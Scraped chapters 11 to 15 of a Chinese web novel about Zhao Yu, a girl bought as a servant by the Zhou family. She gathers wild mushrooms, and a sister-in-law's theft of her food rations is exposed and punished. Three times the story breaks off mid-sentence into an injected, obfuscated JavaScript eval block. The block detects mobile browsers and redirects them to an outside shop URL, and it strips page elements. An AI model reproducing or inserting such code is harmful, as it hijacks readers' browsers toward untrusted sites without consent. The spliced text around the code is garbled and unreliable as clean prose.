赵榆心中一跳,额头都紧张的冒汗。 她不能再跑了。 猴子速度十分的快,如果这边逃跑的动静被它 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总不能别人几代人居住在这里都不知道这块有菌窝,而她第一次进山就发现了吧? 赵榆越想越有理,弯身钻出去,已经认定这是一片毒菇。 但才走几步,她就犹豫的停下。 万一能吃,她就这么走了,岂不是可惜了? 既然都发现了,那就随手采了吧,若是当真有毒,到时候扔了也不可惜。 确定猴子不再回来后,赵榆扒开草藤再次钻进去。 她采的小心,在弄断几个后,她找来一个短棍开始撬。 因泥土松软,菇子采的并不费劲,不多会儿,她身边就有了一小堆。 草藤笼罩的地方虽不是太大,但奈何这地肥沃,菇子密密麻麻挨挤着,大大小小数都数不清。 赵榆虽然也很震惊,却没有多少喜悦,她现在还不确定这菇子能不能吃,看着这些颜色怪异的菇子,觉得十有八九是在做白功。 只留下太过细小的没碰之外,赵榆将所有的菇子全都采了个干净。 这数量约莫两个篮子才能装得下,赵榆看着这堆东西,有些发愁。 她来的时候是空着手,所以这么多菇子要如何带回去? 无法,最后赵榆花了些时间,不熟练的用草藤和树枝胡乱编出了一个能装东西的容器。 这容器看起来就不太结实,赵榆也不知道它能坚持多久。 将菇子全都装下后,赵榆不忘将捡来的几个野果也塞进去,满满当当的,感觉下一刻就要撑破开。 赵榆小心翼翼地提着它来到坎坡那里,又较为艰难地扯着树藤荡下去。 出了山,赵榆整个人都亮堂不少。 实在是雨天的大山格外阴暗,独自待在里头,容易憋闷和心慌。 现在想想,虽然那只讨人嫌的猴子叫声难听,但貌似也帮她壮胆了,虽然它本身就挺危险的。 将猴子丢在脑后,赵榆抬头望了望天,竟比她进山时还要黑沉。 也不知道现在是什么时辰,担心周家人找不到她乱想,赵榆不敢再耽搁,急忙往回赶。 12. 第十二章 周家。 周婆子早就回来了,连午食都下肚好一会儿。 她站在堂屋前,神情不好地盯着赵榆居住的屋子,这么久不见人,她怕不是逃跑了? 周婆子来来回回地走着,谁都能看出她的恼怒。 方春梅缩在灶房里头不敢出来,更不敢让周婆子瞧见她一眼。 在房中躲懒大睡被抓了个正着,周婆子一问赵榆去哪儿了,方春梅迷蒙着,竟比上山采菇子的周婆子还不清楚。 周婆子那个气呀,若不是周老汉拦着,她恨不得操起扫帚就要打人。 不上山不做活,缩在屋里恨不得睡死过去,甚至连人都看不住,一问竟说什么,家里又不是只有她方春梅一个人,人跑了凭什么只怪她一个,爹不是也在家? 这懒皮子,做错事还不承认,竟是要将过错往她公爹头上推! 周婆子气得嘴角抖了又抖。 赵榆还未靠近院门就听见周婶骂人的声音,以为她这是在骂自己,瞬间忐忑起来。 在院门外徘徊了好一会儿,就是不敢进去。 这时有雨点落在脸上,赵榆无法,只能紧着头皮迈脚进了院子。 对上周婆子锐利的视线,赵榆小心地走近,唤了声“周婶”。 周婆子没应声,打量了她半响,才如同逼问一般的道:“半天不见人,你去了何地?” 赵榆立即回道:“只在菜地那边的山脚转了转。” 周婆子扫了眼她身上沾上的泥印子,又看了眼她手上的那团草藤子,加重语气道:“山里可不是你能去的,虎豹豺狼哪一个都能将你生吞。” “若是你当真运道极差的碰上它们,我还得跑一趟县城去找官爷来救你。” 若赵榆当真在山中遇到危险,找村里的青壮都比报官管用。 但周婆子偏偏提了要进城找官府。 赵榆哪能听不懂她的意思。 她心里清楚这是对方在告诫自己,无论她进山也好,出村也罢,一旦她有逃跑的心思,周家必定会报官。 赵榆无地无房,还被人牙子过了手,身份上只能算贱籍。 既是贱籍,若敢从买主手里逃跑,律法就不会放过她。 赵榆深知这点,只要能在周家活的下去,她必定不会想不开。 赵榆念头一转,顺着周婆子的话道:“周婶放心,外头哪有家里安全,我必定不敢乱跑的。” 周婆子见她体会到了她的意思,气势上收敛不少,瞥了眼她手上提着的东西,不甚在意地问她带回了什么。 赵榆连忙从草团里头摸出了几个青红相间的果子,递给周婆子。 周婆子见是几个果子,就更加提不起兴趣,但对方都递过来了,她也就拿起一个看了看。 周婆子:“这是什么果子?”小小的,圆溜溜的,她还真没见过。 赵榆也不知道,只能摇了摇头。 周婆子见此,直接丢回给她,“你不认识摘回来作甚?别什么都想尝尝,山里有毒的东西可不止蛇虫那些,野花野草都能要人命,更别说这些野果了。” 周婆子正要让她扔了,就见赵榆当着她的面就咬了一口。 赵榆忍着酸涩,一再保证这果子能吃。 周婆子稀奇的瞧了她好几眼,不认识的果子都敢吃,也不怕被毒死? 被猴子证明过的果子,赵榆当然不担心有毒,所以她不仅自己吃,还给了旁边看着果子流口水的大牛,连站在堂屋门口的二牛她都没忘,亲自送过去给他。 周婆子:......看着两个孙子喜滋滋的接过,她下意识地抬了抬胳膊想要阻止。 但眼瞅着这么一会儿功夫,赵榆就将果子啃的只剩一个核,再要阻止就显得没必要。 整个果子都下了肚,显然是没毒了。 赵榆是真饿了,所以不嫌弃果子酸,吃完一个还想继续。 而大牛二牛两个孩子,完全是馋的。 他们可不怕酸,嘴里的果肉还没吞下去就又是一口,吃的津津有味。 等将果核也添干净后,又期待着望着赵榆。 赵榆:……这不是给你们甜嘴的,这是我的口粮! 虽舍不得,但赵榆不敢拒绝,周婶就在这看着呢。 于是又摸出两个来,笑着递给他们。 周婆子瞧着她一连摸出好几个,好奇她摘了多少,手上拎着的难不成都是这种果子? 周瑜这才想起来她还采了不少菇子呢。 略一犹豫,还是将菇子全倒了出来,万一里头有能吃的,周婶可将它们都挑出来。 赵榆抬头,正要张口让周婆子给看看哪些能吃,就被打断。 周婆子一脸震惊地看着地上堆成堆的菇子,嘴巴张了又张,完全不知道该说些什么。 好半响,她才状似缓过神来,问道:“这些,你从哪儿采来的?” “就在菜地那边的山里,”赵榆说完,可惜地看着这堆菇子,也不知道这里头能吃的有多少,别全是有毒的,那就白费劲了。 周婆子盯着菇子不移眼,“山里哪个地方?”她问的具体,一副要把地点打探清楚的模样。 看着周婆子的神色,赵榆眨了眨眼,随即惊奇地看向那堆菇子,毫不隐瞒地向她说明路线,甚至将那片草藤都给描述了一遍。 周婆子让出来的周老汉去拿篮子,对赵榆语气坚定地道:“那地方你不要告诉任何人,日后若是下雨,你便领着我过去。” 这么多的菇子,周婆子没有一丝要和外人分享的意思,既然是她周家人发现的,那片菇子窝就属于她周家。 周婆子脸上溢出笑,上山采菇子受的半天气,现在想想都不值得。 不就是几朵菇子吗,她们要抢,就抢去吧。 她现在可不缺那几朵,就眼前的这堆,够他们家吃上好几顿了。 周老汉从灶房拿来两个竹篮,这是周婆子今儿个用来采菇子的。 赵榆看着两个篮子里稀稀拉拉的几个菇子,反应过来,周婶今天上山是白跑一趟了。 就这么些菇子,放粥里煮,约莫也没什么味儿。 周老汉帮着将菇子装进篮子里,看着这开的正正好的菇伞,也觉得高兴。 不仅不老,还十分鲜嫩,一看就是昨晚刚发出来的。 周老汉捏了捏菇子底端沾上的泥巴,又黑又湿,真是好泥啊。 周婆子也在小心捡着,见他将菇子握在手里捏了又捏,气得拍了他一巴掌。 “再捏就得坏了!这些好菇子就是拿到镇上去卖,都能换来好些钱呢。” 周老汉也舍不得再捏,听了这话,问道:“全拿去换钱?” 赵榆帮着清理菇子,听到要将菇子拿去卖也没什么反应,是卖还是留着吃,只有周婶能做主。 周婆子满意地看着这些菇子,心里倒是也想换些钱,但想着这段日子家 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13281438|139955||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 中少菜少粮的,还是决定留下自家吃。 吃不完也没关系,等日头出来了,将它们晒干能存很长时间。 不久之后就是秋收了,到时候也能用这菇子当盘菜。 赵榆听到这菇子是留着吃,还是挺高兴的。 拿去卖钱她没有份,可留着当菜吃,她也能跟着尝尝味。 只希望到时候那方春梅能别坏心眼,若还是像这两天似的,只给她两口粥水…… 像是被这个想法吓到,赵榆肚子顿时连声叫起来。 周婆子和周老汉抬头看向她,有些没反应过来。 赵榆红着脸解释,“是肚子在叫。”不是其他的声音。 周婆子莫名其妙的看她一眼,她当然知道这是肚子在叫,想到她才刚回来,午食没赶上热乎的,那就只能吃冷的了。 她挥了挥手,让赵榆别在这蹲着了,去灶房拿吃的去。 赵榆一喜,灶房有吃的?他们竟然给她留了午食?! 谢过周婆子之后,赵榆急忙起身小跑着朝灶房去 刚到门口时,正遇见方春梅捂着肚子,满脸隐忍地出来,赵榆连忙停下,才避免撞上去。 方春梅被吓到,张嘴就骂,但肚子实在太疼,眼见着就要憋不住了,这才火急火燎地推开她往茅厕跑。 赵榆揉着被撞疼的肩膀进了灶房,很快又从里头出来,仿佛她只是进去看一眼。 周婆子和周老汉两人见她这么快就出来,也很诧异。 周婆子瞧了她两眼,疑惑道:“你吃完了?” 赵榆现在情绪很复杂,既有没东西吃的委屈,也有几分被逗弄的无措。 既然没给她留吃的,又为何让她去灶房? 是拿她寻开心吗? 可看着周婆子脸上不似作假的神情,赵榆也跟着迷茫。 仔细想想,周婆子虽脾性不好,但应该不会在这种事上欺辱她。 若是当真舍不得被她吃下去的粮食,当初何必要花四两银子买她?将钱拽在手里或是用来买猪买粮,不是用处更大? 赵榆心中微跳,她竟然到现在才反应过来,这两天被饿肚子也是活该。 赵榆心思一转再转,随即颓然地摇了摇头,“灶房里没吃的。”边说着边捂住肚子,像是饿的受不住了。 周婆子眉头一皱,“你没找到吃的?中午的饭食若有剩的,都在竹柜里放着,你可有打开看看?” 赵榆点头,她当然有打开。 灶房本就不大,灶台上没有,她就只能去看竹柜,里头仅仅放着惯用的碗筷,碗底干干净净,根本没有什么吃食。 周婆子额中的沟壑越发深,“四郎媳妇没给你留?” 周婆子认为这不可能,粮食袋子就在她睡得房里,每日粗细粮用多少她心中都有数,属于赵榆的那份口粮也占其中一份。 虽然不多,但这会儿一大家子都得省着粮食度日,倒也不算什么。 不能全饱,半饱总有的,总得维持住身上那一把子力气,不然家里的活谁干? 周婆子丢下手里的菇子,起身往灶房去,“你是不是看冇了,该你的饭食还能不见?家里又没养猫狗,还能偷吃了不成?” 赵榆跟着过去,看着周婆子做着和她之前一样的动作,掀锅盖、开竹柜…… 连她都没想到的陶瓮,周婆子都打开看了看。 周婆子扬着嗓子,惊疑道:“还真没有?!” 13. 第十三章 正当她怀疑是不是山里的长尾老鼠或是黄鼠狼什么的给偷吃了,方春梅上完茅房正巧进屋。 听到动静,周婆子目光无意扫了她一眼,突然,像是想到什么。 “四郎家的,午食多出的那碗饭呢?你给放哪儿了?” 方春梅因解决了大事,正身心通畅,猛地就被这句问吓的窒了窒。 来不及思索,她脱口就道:“什么饭?娘,你怕不是糊涂了,每日的饭食都是正正好的,哪有多出的?” 话一说完,方春梅就意识到不好,忙解释道:“娘,我可没有骂你的意思,只是担心你忘了,这不是……这不是提醒你吗。”在周婆子的瞪视下,她声音越发的小了。 周婆子糊不糊涂,明眼的都晓得,她自个儿也清楚,即便上了年纪,这脑门可不差。 所以她气归气,却也懒得与这说话不中听的蠢妇计较,只道:“用不着你提醒,你每日打多少米粮我都算计着,多出的那一小捧刚好够家里多出的一张嘴。” 她继续道:“米粮是多用了一小捧,可咋不见熟饭?” 方春梅提着一口气,嘴皮子抖了抖,舌头就跟打了结,“熟、熟饭、没有……” 眼见着周婆子要发脾气,她突然脑袋灵活了,舌头也捋直,“熟饭确实没得剩下,那多出的一捧粮食,我不是见她没回来吗,”方春梅瞥了眼一旁的赵榆,继续道:“为了不馊了,我就给咱们家里人每人多添了一些。” 她这话听起来是没什么错处,但周婆子过多了精打细算的日子,她每顿吃多少,盛的饭有没有碗口高,高多少,她都注意着,还习惯性的琢磨两下。 刚刚那顿午食也不例外。 她可没觉得她的饭头比平日里高,这胃肚里也没见多饱上一分。 对上周婆子怀疑的目光,方春梅底气足地道:“每人都添了,自然就不显眼了。” 这倒不假,若是家里人都多吃了一口,确实不容易发现。 但…… 周婆子看向方春梅,心中还是不大相信。 什么时候四郎媳妇这般会做人? 竟将多出来的饭给家里每人都分一分,实在不像她会做出的事。 况且家里不止他们老两口,还有二郎一家子呢。 不从二郎手里扣食就不错了,竟还大方到分给他们一家四口,说出去谁信? 周婆子正琢磨其中的反常,大牛和二牛正你追我赶的跑了进来。 大牛兴冲冲的跑在最前头,一心要把弟弟甩在后头,不让他追上。 他撒着欢,不大的灶房愣是被他弄得越发拥挤。 方春梅不喜这两个小孩,平日里若是被她逮住,不管他们是闹是乖,她怎么都得骂上两句。 但现在见他们在灶房闹腾,还时不时的撞到她,她也没骂人或是向周婆子告状。 她是巴不得这两个小子再吵闹一些,这样周婆子就会想要教训他们,从而忽略她。 正如她所想,没等周婆子琢磨出名堂,她这耳朵已经被吵的难受起来。 她一把拉住要去追哥哥的二牛,骂道:“跑跑跑,一会儿摔个大马趴,磕掉牙我看你找谁哭!” 又瞪向大牛,“灶房是你能闹腾的地儿?若是将我这里头的物什摔打了,看我不抽你的皮!” 大牛最怕奶了,他不敢再跑,缩着身子躲在赵榆身后。 赵榆倒没被吵到,她现在心思都在方春梅身上。 她自以为这时机抓的好,将被克扣饭食的事暴露出来,周婆子必定会追问,到时候方春梅受了教训,自然就不敢在暗地里做这些坏心眼的事。 哪想这方春梅脑子灵活,竟就这么被她想到话头遮掩过去。 眼见着周婶已经被引走了视线,赵榆暗暗吸了口气,想要开口将事头再挑起来。 一旦这件事真这么平静的过去,往后有她好受的,一顿两口粥的事必定会经常发生。 赵榆:“周婶——” 才刚冒出两个字,赵榆就被迫停了下来,她低头看向拍着自己肚子的小黑手,没反应过来。 大牛可没意识到自己的手脏,还一个劲儿的又是拍又是摸的,“咕咕!咕咕!肚子在咕咕叫!” 大牛抬头,见赵榆盯着他,留着嘴笑哈哈的,“姑姑,咕咕叫。”边说着,边指着赵榆的肚子。 赵榆有些不好意思,忙用手压住肚子,试图将这声音压下去。 大牛可不清楚赵榆的心情,他心里只有好奇:“姑姑,你饿了吗?” 说完他悄摸地看了眼方春梅,自以为很小声地道:“是不是四婶又偷你的粥喝了?我都看见了,有好几次呢。” 大牛喜欢躲起来让弟弟找不到,灶房里就有几处地方供他藏。 好几次他看见四婶明明已经在堂屋用了饭,到了灶房竟又端出半大碗的粥在喝,大牛每每瞧见了都咽口水,也想讨一口来喝。 但四婶太凶了,还经常骂他,大牛不敢出去。 大牛也饿过很多次肚子,尤其是不在堂屋吃饭的时候碗里的饭最少,后来他娘让他和爷奶一起去堂屋吃,好像才吃得饱一些。 大牛听着这咕咕叫,熟悉的很,他肚子也经常这么叫。 而每次他肚子一叫,就是快到吃食的时候了。 大牛摸着自己圆滚滚的肚子,有些得意,一定是他肚皮里住着神仙,只要家里饭食做好了,神仙就提醒他回去填肚子。 大牛兀自笑的开心,全然没注意到屋里人变换了脸色。 方春梅又惊又憎的神色在面庞不停交替着,而周婆子一早就拉长了脸,眼角下撇,瞧着十分可怖。 赵榆低垂着头没抬起,让人看不见她突然放松的嘴角,对上大牛溜圆的眼睛,她感激的冲他眨了眨眼。 不过大牛没明白就是。 周婆子咬的牙齿作响,她看着方春梅,“那些本该是她吃的口粮,你给扣下来了是不是?”周婆子指着一旁的赵榆。 又继续发问,“什么给一家子人都分了分,全是屁话,那些粮食全进了你的肚皮里对不对?” 一连两个问题将方春梅撞得面色发白,她颤着唇否认,“……娘,小孩子的话怎么能信,听风就是雨的,你,你可莫冤枉了我。” 周婆子气得差点发笑,孩子的话不能信,难不成她方春梅嘴里说出的话就能信了? 周婆子气的不是她贪嘴,气的是这个蠢妇没良心! 当下这个时段,青黄不接,家中余粮即刻耗尽,为了让田里的稻谷在长长,他们一大家子人腰带都跟着紧了紧。 有些人家为了一家老小不被饿死,没办法只能将还青着的谷子割了,不说没熟的稻谷易碎,空壳都有不少,这时候收上来,心都在滴血啊! 这方氏是睁眼瞎,还是肚里的屎尿蒙了心,真当她周家是富贵人家,吃喝不愁? 周婆子不仅 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13292149|139955||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 愁,还急! 嘴里的燎泡一个接一个的起,就为了屋里头半袋不到的米粮。 十几天后便是秋割,这么点米粮不仅要挺过这十几天,还要供应秋割前后。 秋割有多重要,她方春梅泥腿子出身难道不知? 秋割就是他们这些靠地吃饭人的命! 若是没有粮食给家里青壮填肚子,这田地里的庄稼怎么办? 任它烂着发霉? 为了省下几口粮食,老二老四都只能吃个半饱,就是永耕,他们的爹都是吃了自己的那份便放下碗筷,不敢吃多了。 方氏倒好,明里和他们一起上桌,私下还不忘继续满足她那张嘴。 还有赵榆。 周婆子余光扫了眼低垂着头,双手紧捂着肚子的赵榆,额头一抽一抽的发疼。 她真的很想问一问方氏,用银钱买回来的难道就不是人?还是她不把赵榆当人看? 她是如何这般坏了良心,竟敢不给人饭食? 周婆子本想看在四郎的份上,不能将话说的太绝,但她忍了又忍,还是问出一句,“饿死了人是要蹲大牢的,你当真不怕?” 蹲大牢? 她怎么会去蹲大牢? 不不不! 她才不会蹲大牢,方春梅白着嘴皮子,像是这话刺伤了耳朵般,嚷道:“娘,你说这话作甚?也不嫌晦气。” 周婆子怒不可遏,“嫌晦气?你都做出这等丧良心的事了,还嫌个什么劲儿?” “你这等蠢妇,我当初真是瞎了眼了,让你进门祸害我周家!” 眼见着这事否认不了,方春梅心里也虚着,但见婆母说她祸害了周家,方春梅就忍不住回嘴,“那口粮食即便不是我吃,也是别人吃,反正又不会回到粮袋里。” 这就相当于她吃的是赵榆的那份,又没动周家其他人的,无论如何都与祸害周家相差甚远。 见她还敢狡辩,周婆子气的头晕,直接道:“我周家只是一老实种田的,承担不起恶名,你既做出了抢人口粮差点将人饿死的事,那这份恶名你便实实在在担住了。” 恶名与丑名可是有区别的,后者只是会受到嘲笑,前者不仅会被笑,还会被戳脊梁骨。 这还没闹饥荒呢,就舍不得粮食将人饿死,这要传出去,人家不仅会远远避着你,吐唾沫都是轻的,严重点是会被赶出村子的。 这世道,若是被赶出村子,一家老小可怎么活? 周婆子清楚这里头的严重性,可方春梅却不晓得,什么叫她把恶名担住了?这赵榆不是还好端端的在这儿站着吗? 方春梅为自己开脱,“我心里头把着量呢,怎么可能会将她饿死,又不是一口饭食没给。” “再说,我就是见这几天下雨不用做活,才少给了些,谁家农闲时不是少吃几口饭,若这都能饿死,那娘你这四两银子买回来的也忒不值当了。” 这话说的真真是道德有亏! 赵榆没忍住想要抬头看看这方春梅说出这话时是个什么神情,这一看,果然,没有任何歉疚,反而是一副我自有道理的模样。 赵榆目光一转,落在周婆子身上。 周婆子不高,但身子敦厚壮实,平常给人就有逼压,此刻这般虎着脸,身体也因生气而紧绷,气势是越发的足。 赵榆瞥了一眼就再次垂下头,她心里有些发怯,方春梅若还继续嘴硬,周婶可能真的不会在收敛。 14. 第十四章 屋里头大牛二牛两个小的,虽听不懂大人在说什么,但他们意识到奶生气了,还是生的很大的气,顿时觉得灶房不好玩,腿一迈就忽地奔了出去。 见他们跑出了灶房,赵榆不由的心一紧。 没了孩子在场……这…… 就如她想的那样,周婆子见两个孙子出去了,手脚像是也被解了绑,她一句话不说,奔着灶屋门口靠着墙的笤帚去。 笤帚是用竹子扎的,样子虽不大,却有些分量,可见打在人身上有多疼。 方春梅一见周婆子手里拿了笤帚,就头皮发紧,张着嘴就开始哀嚎起来。 一边嚎一边喊着周青,说让周青快来救她,她要被婆母打死了。 赵榆不喜方春梅,见她被教训自然觉得解气,但看了眼还在灶房门口,才刚将笤帚拿在手里的周婶,觉得有些啼笑皆非。 这还没靠近她呢,就这般叫嚷,赵榆真的觉得有些没眼看。 方春梅的这顿嚎,虽又给周婆子心口添了把火,但也引来了周青等人。 周青没急着进去,朝灶房里头望了一眼,就问一早就站在灶房门口的周老汉,“爹,这是怎么了?春梅怎喊的这般……大声?”他本想说怎喊的这般凄惨,但顾及到这是他娘动的手,还是及时换了说法。 周老汉已经在这有一会儿了,知晓来龙去脉,泛着浊黄的眼睛看了眼这四儿子,淡淡道:“你这媳妇该打。” 听着里头笤帚落在身上的声音,周老汉脸色未变,只吩咐道:“莫要进去惹你娘生气了。”说完就背着手,佝偻着背脊离开。 周青本还焦急地想进去劝一劝,听了这句话,也有些踌躇起来。 里头方春梅嚎的越发惨,背上被打了一笤帚,火辣辣的泛着疼,喊了数声的周青也一直没见人,心里那是又气又酸。 气的是周婆子竟真的敢动手打她,她难道不怕她回方家告状,方家兄弟子侄多着呢,她就不怕她娘家人找上门? 还有周青,婆娘都被人打了,他竟不露面,是想看她被他老子娘打死吗? 不同于外面人心急里头的情况,赵榆不仅没有负担,也不打算做样子去拦上一拦。 虽然方春梅叫的厉害,还左闪右避的躲着那笤帚,但赵榆看的清,这笤帚除了第一下是真的打着了,后面周婶可没真的下手。 否则这么小的灶房,不仅一个碗盆没摔着,而且那笤帚还始终打不着她第二下。 不过是明面上打,暗地里吓唬吓唬罢了。 好笑的是,周婶每一次抡笤帚,方春梅都要大叫一声,像是那一下真的打着她了一般,嚎的十分真切凄惨。 这不,这还真的骗到了周青,他迟疑好一会儿,再顾不上他爹刚刚说的话,大步的进去拦在方春梅的身前。 “娘,春梅做错了什么,你要这般打她?再怎么说,她也是我娶回来的,是您儿媳妇!” 周婆子一把扔掉手里的笤帚,粗喘了一口气,冷哼一声,“她若不是周家妇,我倒懒得动这手,不值当!” 周婆子横了一眼周青,“这等蠢妇,若是不狠下心教训,迟早要毁了我周家门楣,就连你的名声也要被败坏掉!” 周青觉得娘说的话属实夸张,春梅就是一个洗衣做饭的妇人,哪能有多大过错? 但此刻娘正在气头上,他不可能说这些话再来气她,于是,不断认错,让周婆子莫要和他婆娘计较。 想到他的那些大舅哥,还有方家即将成丁的子侄们,周青越发忧心,只能更加诚恳的替他媳妇认错。 ...... 赵榆带着剩下的两个果子回到她的小屋里,原是要留到明天的,这下倒是可以直接洗了吃。 今日灶房的这顿打,虽做做样子的成分比较大,但也起到了小惩大诫的作用。 方春梅背上挨的那一下,约莫也伤不到她的皮肉,但即便如此,赵榆也满意了。 她的目的本就是要断了方春梅克扣她口粮的行为,至于她是否受教训还是其次。 她一个外人,还是从人牙子手里买来的,可不敢妄想周婶能替她做主。 周婶今天发这么大脾气,除了表达态度外,也是做给她看的。 就像她自己说的那样,周家想要在九龙村生活的好,名声也极为重要。 哪怕赵榆是她买来的,来九龙村不过才几天,她也要用教训方春梅的方式让赵榆无法将这事说出去。 周婆子的意思赵榆明白,无非是这方氏我已经罚了,所以这事不用传出去,该让它大事化小,就这般过去。 赵榆本也没有将这事说的人尽皆知,她还得靠着周家活着呢。 所以当时在灶房里,周婶没让她出去,她便站在原地,配合着看了一场。 总之,今儿这事对她是有利的,至少以后的饭食该她吃的便少不了。 赵榆克制不住地勾唇浅笑,一抬眼就见大牛的脑袋又出现在门口。 赵榆笑的露出牙,冲大牛招了招手,柔声问道:“大牛,你怎么过来了?别站在门口了,快进来。” 前头给她送豆子,刚刚又给她帮了大忙,赵榆怎么能不喜欢他? 见他为难的站在木栏外,赵榆这才意识到他腿短跨不进来。 忙笑着起身,过去将他给抱进来。 大牛还是第一次见到这屋子这么干净,之前都是放着各种杂物,大的小的全堆在这里,他最喜欢藏在里头,二牛找不到他还急的大哭。 他稀奇地左瞧瞧右看看,好一会儿才想起手里的东西。 将荷叶包着的饼子递给赵榆,念着奶让他说的话,“吃饼,晚食喝汤。” 周婆子让他传的原话是:这饼你暂且先吃着,等晚食做好了,在吃热乎的。 说完,她想起那两大篮子菇子,琢磨着晚上那顿在弄一个鲜菇汤,没成想孙子前头的话没记全,倒是记住了鲜菇汤这三个字,于是便传成这样。 若是让周婆子知道了,铁定要骂一句猪脑袋,和他爹一个样。 赵榆捏着有些发硬的饼子,很是欣喜。 周家可没做这个,想到刚刚周婶出了院子,约莫是上别人家要来的。 饼子不大,微微发黄,上头还能看见好些麸糠。 这时候家家户户存粮都不多,吃糠咽菜实属正常。 赵榆一点 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13305996|139955||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 儿都不嫌弃,见大牛在咽口水,便掐了一小块给他,剩下的三两口就全被她给吞了下去。 * 今天的那顿闹使周婆子不再信任方春梅,直接将灶台上的活计接了手。 周婆子是真的急,担心再继续由方春梅负责伙食,家里仅剩的小半袋粮会吃不了几天。 下旬便是秋收,她必须得为这件事做打算。 周婆子有四个儿子,都是成丁的,加上周老汉,五个人共有田地十来亩,除了部分地用来种了小麦,种水稻的共有十亩。 这十亩的水稻田,若是一家老小全出动,且白日里不歇晌,估摸着五六天还是要的。 这五六天里干的都是重活累活,饱肚子是必须的,否则人容易出事。 再有油水也必须得有,不求顿顿吃肉,肉汤总要喝上两次。 这种在田地里抢收最最伤人,不亚于被拉去做徭役,若是一点油水都没,轻易就给瘦脱了相。 周婆子轻“嘶”了一声,是被嘴里破开的燎泡给疼着了。 看来还是得上一趟县城,家里的粮食再怎么省,仍是缺的。 不过若是将仅剩的几十文钱用来买粮,那肉就买不了多少了。 赵榆不清楚周婆子的烦心事,此刻她捧着大半碗的粗粮饭,眼眶微微发热。 这次终于不再是两口的量了! 胃里有了食物,赵榆晚上入睡都沉了几分,次日醒来,四肢也不再是软绵绵的使不上力气,反而很有精神。 赵榆站在门口,看了眼红透透的太阳,心想她得开始干活了。 一大早,赵榆扛着锄头就往菜地里去,那片荒地还剩一半没锄完,等趁着现在日头不强,多锄一些。 这次去菜地的只有她一个人,周老汉他们去了水田那边,之前因下雨,他们将田沟给挖开了,现在得再将沟堵上。 还有十几天才能割稻,不能将田里的水全放了,得留上一些,否则日头一烈,会伤了那些稻谷。 这边赵榆来了两次,昨天才从这经过,也算熟悉。 看了眼上头的山林,赵榆下意识就想起了昨天的那只猴子。 讨人嫌的猴子,赵榆嫌弃地撇了撇嘴。 荒地经过两三天的雨水滋润,好像长得比之前要更茂盛。 那些草被风吹的一摇一晃,赵榆真担心还有蛇藏在里头。 她一边锄着草,一边注意四周的动静,好在都是一些蚂蚱青蛙在蹦跶。 赵榆微微安心,锄头一下接着一下,将整个草根挖出来。 一个时辰后,她又开出不少地来,额头汗水不断往下滴,赵榆随手擦了擦,锄头依旧没放下。 现在地里干活的就她一个,活干的好不好,快不快,看一眼荒地就能知道。 若是有人和她一起干,她倒是想要歇一歇偷偷懒,反正别人也不清楚她具体干了多少。 但只有她一个人时,这偷懒的心思必定不能有。 赵榆喘着气挥动锄头,时不时地在抬手擦把汗,还算能承受得住。 又是一锄头甩下去,根系密布的草被翻了出来,同时出现的还有那拳头大小的黑洞。 15. 第十五章 赵榆吓了一大跳,猛地往后退了一大步。 这洞,莫不是蛇洞? 想到前几天的那条毒蛇,赵榆觉得有九分的把握确定这是蛇洞。 她紧盯着洞口,就怕她刚刚那一锄头惊动了里头的东西,万一里头还藏有另一条毒蛇,她可再没胆量能够杀死它。 等了好一会儿,那洞依旧什么动静都没有。 但赵榆心有顾忌,不敢在靠近,打算先锄另一边。 她一边锄着草,一边注意不远处的洞,担心有蛇趁她不注意爬出来。 只是…… 洞挖出一个来还不够,后头赵榆又一连用锄头掏出了两个。 三个洞被她挖出来,那些还没被挖到的地方不知还藏着多少个。 赵榆看着这些洞,几乎都不比成人拳头小。 如果里头藏的是蛇,有必要这么大的洞口,还一连弄了几个? 赵榆紧了紧手里的锄头,她猜测里头会不会是兔子,狡兔三窟,也只有兔子能挖这么多的洞吧? 兔子…… 肉可不少呢! 赵榆心中微动,将三个洞全部用泥巴堵住,又大着胆子走进剩余那片杂草丛里。 她用锄头仔细扒拉着这些草,一发现有洞,就将它毁掉,连毁了三四个之后,她这才留下一个洞,然后便沿着这个洞开始挖。 洞很深,挖了很久这洞依然存在。 眼见着这块荒地的中间已经被赵榆挖出了一道沟,这洞还没见底,赵榆累的有些想放弃。 会不会是她猜错了,这里面没兔子,即便是有,可能也一早跑掉了。 赵榆有些泄气,动作也缓了下来,锄头挥的也没之前有力。 可要是就这么放弃,万一里头兔子还在,只不过藏在深处,那岂不可惜了? 没办法,她只能又挖了几下,想着再挖一段,若是还是什么都没有,那便算了。 一下又一下,当她举起锄头,决定这就是最后一锄之后,没成想,就是这一下,竟挖出了数个颗颗分明的圆溜溜的东西。 赵榆一看,忍不住笑了起来。 这是兔子粪便,还新鲜着呢。 